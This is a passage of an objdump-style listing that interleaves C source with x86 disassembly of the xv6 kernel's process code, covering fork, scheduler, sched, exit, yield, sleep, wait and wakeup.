np->ofile[i] = filedup(curproc->ofile[i]);
np->cwd = idup(curproc->cwd);
80103967: 8b 43 68 mov 0x68(%ebx),%eax
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
8010396a: 83 c3 6c add $0x6c,%ebx
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
if(curproc->ofile[i])
np->ofile[i] = filedup(curproc->ofile[i]);
np->cwd = idup(curproc->cwd);
8010396d: 89 04 24 mov %eax,(%esp)
80103970: e8 fb dc ff ff call 80101670 <idup>
80103975: 8b 55 e4 mov -0x1c(%ebp),%edx
80103978: 89 42 68 mov %eax,0x68(%edx)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
8010397b: 89 d0 mov %edx,%eax
8010397d: 83 c0 6c add $0x6c,%eax
80103980: 89 5c 24 04 mov %ebx,0x4(%esp)
80103984: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010398b: 00
8010398c: 89 04 24 mov %eax,(%esp)
8010398f: e8 9c 0b 00 00 call 80104530 <safestrcpy>
pid = np->pid;
80103994: 8b 45 e4 mov -0x1c(%ebp),%eax
80103997: 8b 58 10 mov 0x10(%eax),%ebx
acquire(&ptable.lock);
8010399a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801039a1: e8 da 08 00 00 call 80104280 <acquire>
np->state = RUNNABLE;
801039a6: 8b 45 e4 mov -0x1c(%ebp),%eax
801039a9: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
801039b0: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801039b7: e8 34 09 00 00 call 801042f0 <release>
return pid;
}
801039bc: 83 c4 2c add $0x2c,%esp
801039bf: 89 d8 mov %ebx,%eax
801039c1: 5b pop %ebx
801039c2: 5e pop %esi
801039c3: 5f pop %edi
801039c4: 5d pop %ebp
801039c5: c3 ret
struct proc *np;
struct proc *curproc = myproc();
// Allocate process.
if((np = allocproc()) == 0){
return -1;
801039c6: bb ff ff ff ff mov $0xffffffff,%ebx
801039cb: eb ef jmp 801039bc <fork+0xdc>
}
// Copy process state from proc.
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
kfree(np->kstack);
801039cd: 8b 42 08 mov 0x8(%edx),%eax
np->kstack = 0;
np->state = UNUSED;
return -1;
801039d0: bb ff ff ff ff mov $0xffffffff,%ebx
return -1;
}
// Copy process state from proc.
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
kfree(np->kstack);
801039d5: 89 04 24 mov %eax,(%esp)
801039d8: e8 63 e9 ff ff call 80102340 <kfree>
np->kstack = 0;
801039dd: 8b 45 e4 mov -0x1c(%ebp),%eax
801039e0: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
np->state = UNUSED;
801039e7: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return -1;
801039ee: eb cc jmp 801039bc <fork+0xdc>
801039f0 <scheduler>:
// - swtch to start running that process
// - eventually that process transfers control
// via swtch back to the scheduler.
void
scheduler(void)
{
801039f0: 55 push %ebp
801039f1: 89 e5 mov %esp,%ebp
801039f3: 57 push %edi
801039f4: 56 push %esi
801039f5: 53 push %ebx
801039f6: 83 ec 1c sub $0x1c,%esp
struct proc *p;
struct cpu *c = mycpu();
801039f9: e8 92 fc ff ff call 80103690 <mycpu>
801039fe: 89 c6 mov %eax,%esi
c->proc = 0;
80103a00: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax)
80103a07: 00 00 00
80103a0a: 8d 78 04 lea 0x4(%eax),%edi
80103a0d: 8d 76 00 lea 0x0(%esi),%esi
}
static inline void
sti(void)
{
asm volatile("sti");
80103a10: fb sti
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a11: bb 54 2d 11 80 mov $0x80112d54,%ebx
for(;;){
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
80103a16: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103a1d: e8 5e 08 00 00 call 80104280 <acquire>
80103a22: eb 0f jmp 80103a33 <scheduler+0x43>
80103a24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a28: 83 c3 7c add $0x7c,%ebx
80103a2b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx
80103a31: 73 45 jae 80103a78 <scheduler+0x88>
if(p->state != RUNNABLE)
80103a33: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103a37: 75 ef jne 80103a28 <scheduler+0x38>
continue;
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
c->proc = p;
80103a39: 89 9e ac 00 00 00 mov %ebx,0xac(%esi)
switchuvm(p);
80103a3f: 89 1c 24 mov %ebx,(%esp)
80103a42: e8 d9 2b 00 00 call 80106620 <switchuvm>
p->state = RUNNING;
swtch(&(c->scheduler), p->context);
80103a47: 8b 43 1c mov 0x1c(%ebx),%eax
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
c->proc = p;
switchuvm(p);
p->state = RUNNING;
80103a4a: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx)
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a51: 83 c3 7c add $0x7c,%ebx
// before jumping back to us.
c->proc = p;
switchuvm(p);
p->state = RUNNING;
swtch(&(c->scheduler), p->context);
80103a54: 89 3c 24 mov %edi,(%esp)
80103a57: 89 44 24 04 mov %eax,0x4(%esp)
80103a5b: e8 2c 0b 00 00 call 8010458c <swtch>
switchkvm();
80103a60: e8 9b 2b 00 00 call 80106600 <switchkvm>
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a65: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx
swtch(&(c->scheduler), p->context);
switchkvm();
// Process is done running for now.
// It should have changed its p->state before coming back.
c->proc = 0;
80103a6b: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi)
80103a72: 00 00 00
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a75: 72 bc jb 80103a33 <scheduler+0x43>
80103a77: 90 nop
// Process is done running for now.
// It should have changed its p->state before coming back.
c->proc = 0;
}
release(&ptable.lock);
80103a78: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103a7f: e8 6c 08 00 00 call 801042f0 <release>
}
80103a84: eb 8a jmp 80103a10 <scheduler+0x20>
80103a86: 8d 76 00 lea 0x0(%esi),%esi
80103a89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103a90 <sched>:
// be proc->intena and proc->ncli, but that would
// break in the few places where a lock is held but
// there's no process.
void
sched(void)
{
80103a90: 55 push %ebp
80103a91: 89 e5 mov %esp,%ebp
80103a93: 56 push %esi
80103a94: 53 push %ebx
80103a95: 83 ec 10 sub $0x10,%esp
int intena;
struct proc *p = myproc();
80103a98: e8 93 fc ff ff call 80103730 <myproc>
if(!holding(&ptable.lock))
80103a9d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
// there's no process.
void
sched(void)
{
int intena;
struct proc *p = myproc();
80103aa4: 89 c3 mov %eax,%ebx
if(!holding(&ptable.lock))
80103aa6: e8 95 07 00 00 call 80104240 <holding>
80103aab: 85 c0 test %eax,%eax
80103aad: 74 4f je 80103afe <sched+0x6e>
panic("sched ptable.lock");
if(mycpu()->ncli != 1)
80103aaf: e8 dc fb ff ff call 80103690 <mycpu>
80103ab4: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax)
80103abb: 75 65 jne 80103b22 <sched+0x92>
panic("sched locks");
if(p->state == RUNNING)
80103abd: 83 7b 0c 04 cmpl $0x4,0xc(%ebx)
80103ac1: 74 53 je 80103b16 <sched+0x86>
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103ac3: 9c pushf
80103ac4: 58 pop %eax
panic("sched running");
if(readeflags()&FL_IF)
80103ac5: f6 c4 02 test $0x2,%ah
80103ac8: 75 40 jne 80103b0a <sched+0x7a>
panic("sched interruptible");
intena = mycpu()->intena;
80103aca: e8 c1 fb ff ff call 80103690 <mycpu>
swtch(&p->context, mycpu()->scheduler);
80103acf: 83 c3 1c add $0x1c,%ebx
panic("sched locks");
if(p->state == RUNNING)
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
intena = mycpu()->intena;
80103ad2: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi
swtch(&p->context, mycpu()->scheduler);
80103ad8: e8 b3 fb ff ff call 80103690 <mycpu>
80103add: 8b 40 04 mov 0x4(%eax),%eax
80103ae0: 89 1c 24 mov %ebx,(%esp)
80103ae3: 89 44 24 04 mov %eax,0x4(%esp)
80103ae7: e8 a0 0a 00 00 call 8010458c <swtch>
mycpu()->intena = intena;
80103aec: e8 9f fb ff ff call 80103690 <mycpu>
80103af1: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax)
}
80103af7: 83 c4 10 add $0x10,%esp
80103afa: 5b pop %ebx
80103afb: 5e pop %esi
80103afc: 5d pop %ebp
80103afd: c3 ret
{
int intena;
struct proc *p = myproc();
if(!holding(&ptable.lock))
panic("sched ptable.lock");
80103afe: c7 04 24 c0 72 10 80 movl $0x801072c0,(%esp)
80103b05: e8 66 c8 ff ff call 80100370 <panic>
if(mycpu()->ncli != 1)
panic("sched locks");
if(p->state == RUNNING)
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
80103b0a: c7 04 24 ec 72 10 80 movl $0x801072ec,(%esp)
80103b11: e8 5a c8 ff ff call 80100370 <panic>
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(mycpu()->ncli != 1)
panic("sched locks");
if(p->state == RUNNING)
panic("sched running");
80103b16: c7 04 24 de 72 10 80 movl $0x801072de,(%esp)
80103b1d: e8 4e c8 ff ff call 80100370 <panic>
struct proc *p = myproc();
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(mycpu()->ncli != 1)
panic("sched locks");
80103b22: c7 04 24 d2 72 10 80 movl $0x801072d2,(%esp)
80103b29: e8 42 c8 ff ff call 80100370 <panic>
80103b2e: 66 90 xchg %ax,%ax
80103b30 <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
80103b30: 55 push %ebp
80103b31: 89 e5 mov %esp,%ebp
80103b33: 56 push %esi
struct proc *curproc = myproc();
struct proc *p;
int fd;
if(curproc == initproc)
80103b34: 31 f6 xor %esi,%esi
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
80103b36: 53 push %ebx
80103b37: 83 ec 10 sub $0x10,%esp
struct proc *curproc = myproc();
80103b3a: e8 f1 fb ff ff call 80103730 <myproc>
struct proc *p;
int fd;
if(curproc == initproc)
80103b3f: 3b 05 a0 a5 10 80 cmp 0x8010a5a0,%eax
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
struct proc *curproc = myproc();
80103b45: 89 c3 mov %eax,%ebx
struct proc *p;
int fd;
if(curproc == initproc)
80103b47: 0f 84 ea 00 00 00 je 80103c37 <exit+0x107>
80103b4d: 8d 76 00 lea 0x0(%esi),%esi
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd]){
80103b50: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103b54: 85 c0 test %eax,%eax
80103b56: 74 10 je 80103b68 <exit+0x38>
fileclose(curproc->ofile[fd]);
80103b58: 89 04 24 mov %eax,(%esp)
80103b5b: e8 c0 d2 ff ff call 80100e20 <fileclose>
curproc->ofile[fd] = 0;
80103b60: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4)
80103b67: 00
if(curproc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80103b68: 83 c6 01 add $0x1,%esi
80103b6b: 83 fe 10 cmp $0x10,%esi
80103b6e: 75 e0 jne 80103b50 <exit+0x20>
fileclose(curproc->ofile[fd]);
curproc->ofile[fd] = 0;
}
}
begin_op();
80103b70: e8 fb ef ff ff call 80102b70 <begin_op>
iput(curproc->cwd);
80103b75: 8b 43 68 mov 0x68(%ebx),%eax
80103b78: 89 04 24 mov %eax,(%esp)
80103b7b: e8 50 dc ff ff call 801017d0 <iput>
end_op();
80103b80: e8 5b f0 ff ff call 80102be0 <end_op>
curproc->cwd = 0;
80103b85: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx)
acquire(&ptable.lock);
80103b8c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103b93: e8 e8 06 00 00 call 80104280 <acquire>
// Parent might be sleeping in wait().
wakeup1(curproc->parent);
80103b98: 8b 43 14 mov 0x14(%ebx),%eax
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103b9b: ba 54 2d 11 80 mov $0x80112d54,%edx
80103ba0: eb 11 jmp 80103bb3 <exit+0x83>
80103ba2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103ba8: 83 c2 7c add $0x7c,%edx
80103bab: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx
80103bb1: 73 1d jae 80103bd0 <exit+0xa0>
if(p->state == SLEEPING && p->chan == chan)
80103bb3: 83 7a 0c 02 cmpl $0x2,0xc(%edx)
80103bb7: 75 ef jne 80103ba8 <exit+0x78>
80103bb9: 3b 42 20 cmp 0x20(%edx),%eax
80103bbc: 75 ea jne 80103ba8 <exit+0x78>
p->state = RUNNABLE;
80103bbe: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103bc5: 83 c2 7c add $0x7c,%edx
80103bc8: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx
80103bce: 72 e3 jb 80103bb3 <exit+0x83>
wakeup1(curproc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == curproc){
p->parent = initproc;
80103bd0: a1 a0 a5 10 80 mov 0x8010a5a0,%eax
80103bd5: b9 54 2d 11 80 mov $0x80112d54,%ecx
80103bda: eb 0f jmp 80103beb <exit+0xbb>
80103bdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
// Parent might be sleeping in wait().
wakeup1(curproc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103be0: 83 c1 7c add $0x7c,%ecx
80103be3: 81 f9 54 4c 11 80 cmp $0x80114c54,%ecx
80103be9: 73 34 jae 80103c1f <exit+0xef>
if(p->parent == curproc){
80103beb: 39 59 14 cmp %ebx,0x14(%ecx)
80103bee: 75 f0 jne 80103be0 <exit+0xb0>
p->parent = initproc;
if(p->state == ZOMBIE)
80103bf0: 83 79 0c 05 cmpl $0x5,0xc(%ecx)
wakeup1(curproc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == curproc){
p->parent = initproc;
80103bf4: 89 41 14 mov %eax,0x14(%ecx)
if(p->state == ZOMBIE)
80103bf7: 75 e7 jne 80103be0 <exit+0xb0>
80103bf9: ba 54 2d 11 80 mov $0x80112d54,%edx
80103bfe: eb 0b jmp 80103c0b <exit+0xdb>
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c00: 83 c2 7c add $0x7c,%edx
80103c03: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx
80103c09: 73 d5 jae 80103be0 <exit+0xb0>
if(p->state == SLEEPING && p->chan == chan)
80103c0b: 83 7a 0c 02 cmpl $0x2,0xc(%edx)
80103c0f: 75 ef jne 80103c00 <exit+0xd0>
80103c11: 3b 42 20 cmp 0x20(%edx),%eax
80103c14: 75 ea jne 80103c00 <exit+0xd0>
p->state = RUNNABLE;
80103c16: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx)
80103c1d: eb e1 jmp 80103c00 <exit+0xd0>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
curproc->state = ZOMBIE;
80103c1f: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx)
sched();
80103c26: e8 65 fe ff ff call 80103a90 <sched>
panic("zombie exit");
80103c2b: c7 04 24 0d 73 10 80 movl $0x8010730d,(%esp)
80103c32: e8 39 c7 ff ff call 80100370 <panic>
struct proc *curproc = myproc();
struct proc *p;
int fd;
if(curproc == initproc)
panic("init exiting");
80103c37: c7 04 24 00 73 10 80 movl $0x80107300,(%esp)
80103c3e: e8 2d c7 ff ff call 80100370 <panic>
80103c43: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103c49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103c50 <yield>:
}
// Give up the CPU for one scheduling round.
void
yield(void)
{
80103c50: 55 push %ebp
80103c51: 89 e5 mov %esp,%ebp
80103c53: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103c56: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103c5d: e8 1e 06 00 00 call 80104280 <acquire>
myproc()->state = RUNNABLE;
80103c62: e8 c9 fa ff ff call 80103730 <myproc>
80103c67: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80103c6e: e8 1d fe ff ff call 80103a90 <sched>
release(&ptable.lock);
80103c73: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103c7a: e8 71 06 00 00 call 801042f0 <release>
}
80103c7f: c9 leave
80103c80: c3 ret
80103c81: eb 0d jmp 80103c90 <sleep>
80103c83: 90 nop
80103c84: 90 nop
80103c85: 90 nop
80103c86: 90 nop
80103c87: 90 nop
80103c88: 90 nop
80103c89: 90 nop
80103c8a: 90 nop
80103c8b: 90 nop
80103c8c: 90 nop
80103c8d: 90 nop
80103c8e: 90 nop
80103c8f: 90 nop
80103c90 <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80103c90: 55 push %ebp
80103c91: 89 e5 mov %esp,%ebp
80103c93: 83 ec 28 sub $0x28,%esp
80103c96: 89 5d f4 mov %ebx,-0xc(%ebp)
80103c99: 8b 5d 0c mov 0xc(%ebp),%ebx
80103c9c: 89 75 f8 mov %esi,-0x8(%ebp)
80103c9f: 8b 75 08 mov 0x8(%ebp),%esi
80103ca2: 89 7d fc mov %edi,-0x4(%ebp)
struct proc *p = myproc();
80103ca5: e8 86 fa ff ff call 80103730 <myproc>
if(p == 0)
80103caa: 85 c0 test %eax,%eax
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
struct proc *p = myproc();
80103cac: 89 c7 mov %eax,%edi
if(p == 0)
80103cae: 0f 84 8b 00 00 00 je 80103d3f <sleep+0xaf>
panic("sleep");
if(lk == 0)
80103cb4: 85 db test %ebx,%ebx
80103cb6: 74 7b je 80103d33 <sleep+0xa3>
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
80103cb8: 81 fb 20 2d 11 80 cmp $0x80112d20,%ebx
80103cbe: 74 50 je 80103d10 <sleep+0x80>
acquire(&ptable.lock); //DOC: sleeplock1
80103cc0: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103cc7: e8 b4 05 00 00 call 80104280 <acquire>
release(lk);
80103ccc: 89 1c 24 mov %ebx,(%esp)
80103ccf: e8 1c 06 00 00 call 801042f0 <release>
}
// Go to sleep.
p->chan = chan;
80103cd4: 89 77 20 mov %esi,0x20(%edi)
p->state = SLEEPING;
80103cd7: c7 47 0c 02 00 00 00 movl $0x2,0xc(%edi)
sched();
80103cde: e8 ad fd ff ff call 80103a90 <sched>
// Tidy up.
p->chan = 0;
80103ce3: c7 47 20 00 00 00 00 movl $0x0,0x20(%edi)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
80103cea: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103cf1: e8 fa 05 00 00 call 801042f0 <release>
acquire(lk);
}
}
80103cf6: 8b 75 f8 mov -0x8(%ebp),%esi
p->chan = 0;
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
80103cf9: 89 5d 08 mov %ebx,0x8(%ebp)
}
}
80103cfc: 8b 7d fc mov -0x4(%ebp),%edi
80103cff: 8b 5d f4 mov -0xc(%ebp),%ebx
80103d02: 89 ec mov %ebp,%esp
80103d04: 5d pop %ebp
p->chan = 0;
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
80103d05: e9 76 05 00 00 jmp 80104280 <acquire>
80103d0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(lk != &ptable.lock){ //DOC: sleeplock0
acquire(&ptable.lock); //DOC: sleeplock1
release(lk);
}
// Go to sleep.
p->chan = chan;
80103d10: 89 70 20 mov %esi,0x20(%eax)
p->state = SLEEPING;
80103d13: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103d1a: e8 71 fd ff ff call 80103a90 <sched>
// Tidy up.
p->chan = 0;
80103d1f: c7 47 20 00 00 00 00 movl $0x0,0x20(%edi)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
}
}
80103d26: 8b 5d f4 mov -0xc(%ebp),%ebx
80103d29: 8b 75 f8 mov -0x8(%ebp),%esi
80103d2c: 8b 7d fc mov -0x4(%ebp),%edi
80103d2f: 89 ec mov %ebp,%esp
80103d31: 5d pop %ebp
80103d32: c3 ret
if(p == 0)
panic("sleep");
if(lk == 0)
panic("sleep without lk");
80103d33: c7 04 24 1f 73 10 80 movl $0x8010731f,(%esp)
80103d3a: e8 31 c6 ff ff call 80100370 <panic>
sleep(void *chan, struct spinlock *lk)
{
struct proc *p = myproc();
if(p == 0)
panic("sleep");
80103d3f: c7 04 24 19 73 10 80 movl $0x80107319,(%esp)
80103d46: e8 25 c6 ff ff call 80100370 <panic>
80103d4b: 90 nop
80103d4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103d50 <wait>:
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
80103d50: 55 push %ebp
80103d51: 89 e5 mov %esp,%ebp
80103d53: 56 push %esi
80103d54: 53 push %ebx
80103d55: 83 ec 10 sub $0x10,%esp
struct proc *p;
int havekids, pid;
struct proc *curproc = myproc();
80103d58: e8 d3 f9 ff ff call 80103730 <myproc>
acquire(&ptable.lock);
80103d5d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
int
wait(void)
{
struct proc *p;
int havekids, pid;
struct proc *curproc = myproc();
80103d64: 89 c6 mov %eax,%esi
acquire(&ptable.lock);
80103d66: e8 15 05 00 00 call 80104280 <acquire>
for(;;){
// Scan through table looking for exited children.
havekids = 0;
80103d6b: 31 c0 xor %eax,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103d6d: bb 54 2d 11 80 mov $0x80112d54,%ebx
80103d72: eb 0f jmp 80103d83 <wait+0x33>
80103d74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103d78: 83 c3 7c add $0x7c,%ebx
80103d7b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx
80103d81: 73 1d jae 80103da0 <wait+0x50>
if(p->parent != curproc)
80103d83: 39 73 14 cmp %esi,0x14(%ebx)
80103d86: 75 f0 jne 80103d78 <wait+0x28>
continue;
havekids = 1;
if(p->state == ZOMBIE){
80103d88: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103d8c: 74 2f je 80103dbd <wait+0x6d>
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103d8e: 83 c3 7c add $0x7c,%ebx
if(p->parent != curproc)
continue;
havekids = 1;
80103d91: b8 01 00 00 00 mov $0x1,%eax
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103d96: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx
80103d9c: 72 e5 jb 80103d83 <wait+0x33>
80103d9e: 66 90 xchg %ax,%ax
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || curproc->killed){
80103da0: 85 c0 test %eax,%eax
80103da2: 74 6e je 80103e12 <wait+0xc2>
80103da4: 8b 5e 24 mov 0x24(%esi),%ebx
80103da7: 85 db test %ebx,%ebx
80103da9: 75 67 jne 80103e12 <wait+0xc2>
release(&ptable.lock);
return -1;
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
80103dab: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp)
80103db2: 80
80103db3: 89 34 24 mov %esi,(%esp)
80103db6: e8 d5 fe ff ff call 80103c90 <sleep>
}
80103dbb: eb ae jmp 80103d6b <wait+0x1b>
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
80103dbd: 8b 43 08 mov 0x8(%ebx),%eax
if(p->parent != curproc)
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
80103dc0: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103dc3: 89 04 24 mov %eax,(%esp)
80103dc6: e8 75 e5 ff ff call 80102340 <kfree>
p->kstack = 0;
freevm(p->pgdir);
80103dcb: 8b 43 04 mov 0x4(%ebx),%eax
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
p->kstack = 0;
80103dce: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80103dd5: 89 04 24 mov %eax,(%esp)
80103dd8: e8 63 2c 00 00 call 80106a40 <freevm>
p->pid = 0;
80103ddd: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80103de4: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80103deb: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80103def: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
80103df6: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80103dfd: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103e04: e8 e7 04 00 00 call 801042f0 <release>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
}
}
80103e09: 83 c4 10 add $0x10,%esp
80103e0c: 89 f0 mov %esi,%eax
80103e0e: 5b pop %ebx
80103e0f: 5e pop %esi
80103e10: 5d pop %ebp
80103e11: c3 ret
}
}
// No point waiting if we don't have any children.
if(!havekids || curproc->killed){
release(&ptable.lock);
80103e12: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
return -1;
80103e19: be ff ff ff ff mov $0xffffffff,%esi
}
}
// No point waiting if we don't have any children.
if(!havekids || curproc->killed){
release(&ptable.lock);
80103e1e: e8 cd 04 00 00 call 801042f0 <release>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
}
}
80103e23: 83 c4 10 add $0x10,%esp
80103e26: 89 f0 mov %esi,%eax
80103e28: 5b pop %ebx
80103e29: 5e pop %esi
80103e2a: 5d pop %ebp
80103e2b: c3 ret
80103e2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103e30 <wakeup>:
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80103e30: 55 push %ebp
80103e31: 89 e5 mov %esp,%ebp
80103e33: 53 push %ebx
80103e34: 83 ec 14 sub $0x14,%esp
80103e37: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
80103e3a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103e41: e8 3a 04 00 00 call 80104280 <acquire>
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103e46: b8 54 2d 11 80 mov $0x80112d54,%eax
80103e4b: eb 0d jmp 80103e5a <wakeup+0x2a>
80103e4d: 8d 76 00 lea 0x0(%esi),%esi
80103e50: 83 c0 7c add $0x7c,%eax
80103e53: 3d 54 4c 11 80 cmp $0x80114c54,%eax
80103e58: 73 1e jae 80103e78 <wakeup+0x48>
if(p->state == SLEEPING && p->chan == chan)
80103e5a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103e5e: 75 f0 jne 80103e50 <wakeup+0x20>
80103e60: 3b 58 20 cmp 0x20(%eax),%ebx
80103e63: 75 eb jne 80103e50 <wakeup+0x20>
p->state = RUNNABLE;
